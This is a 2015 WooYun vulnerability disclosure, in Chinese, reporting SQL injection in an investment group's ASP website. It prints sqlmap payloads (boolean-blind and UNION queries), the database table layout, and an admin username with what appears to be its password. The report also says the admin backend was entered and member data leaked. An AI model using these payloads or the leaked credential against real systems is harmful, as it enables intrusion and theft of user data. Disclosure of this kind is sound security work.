当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0155016

漏洞标题：海亚龙投资(集团)有限公司存在SQL注入漏洞

相关厂商：海亚龙投资(集团)有限公司

漏洞作者： 路人甲

提交时间：2015-11-27 12:38

修复时间：2016-01-15 17:32

公开时间：2016-01-15 17:32

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-27： 细节已通知厂商并且等待厂商处理中
2015-12-01： 厂商已经确认，细节仅向厂商公开
2015-12-11： 细节向核心白帽子及相关领域专家公开
2015-12-21： 细节向普通白帽子公开
2015-12-31： 细节向实习白帽子公开
2016-01-15： 细节向公众公开

简要描述：

海亚龙投资(集团)有限公司存在SQL注入的漏洞

详细说明：

海亚龙投资(集团)有限公司作为一家以工业投资、教育投资、房地产投资为主的大型投资集团公司，得益于改革开放搞活的好政策,经过市场经济二十多年来的励精图治，获得了长足的发展，在多领域具有强大的竞争优势，所属企业和公司多次受到市、区各项表彰。

29.png


看右上角”上海市优秀网站“，怎么评出来的呢？
注入点：
http://**.**.**.**/shouyexinwen/tupianxinwen_show.asp?id=481

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=481 AND 7396=7396
    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: id=-5639 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)&CHR(122)&CHR(112)&CHR(112)&CHR(113)&CHR(107)&CHR(73)&CHR(66)&CHR(115)&CHR(66)&CHR(101)&CHR(116)&CHR(99)&CHR(115)&CHR(71)&CHR(113)&CHR(112)&CHR(120)&CHR(122)&CHR(113) FROM MSysAccessObjects%16
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
Database: Microsoft_Access_masterdb
[7 tables]
+-----------------+
| admin           |
| lingdaoguanhuai |
| liuyan          |
| mastermail      |
| member          |
| tupianxinwen    |
| yalongluntan    |
+-----------------+


Table: admin
[4 columns]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| key    | numeric     |
| data   | non-numeric |
| id     | numeric     |
| name   | non-numeric |
+--------+-------------+
Database: Microsoft_Access_masterdb
Table: admin
[1 entry]
+----+------+-------+----------+
| id | data | name  | key      |
+----+------+-------+----------+
| 1  | <blank> | admin | 53080000 |
+----+------+-------+----------+


登陆后台：

30.png


再看看数据库信息，member中
另外还有会员信息泄露（只贴出了一小部分）：

31.png

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-12-01 17:31

厂商回复：

CNVD确认所述情况，已由CNVD通过网站管理方公开联系渠道向其邮件通报，由其后续提供解决方案。

最新状态：

暂无

漏洞评价：

评价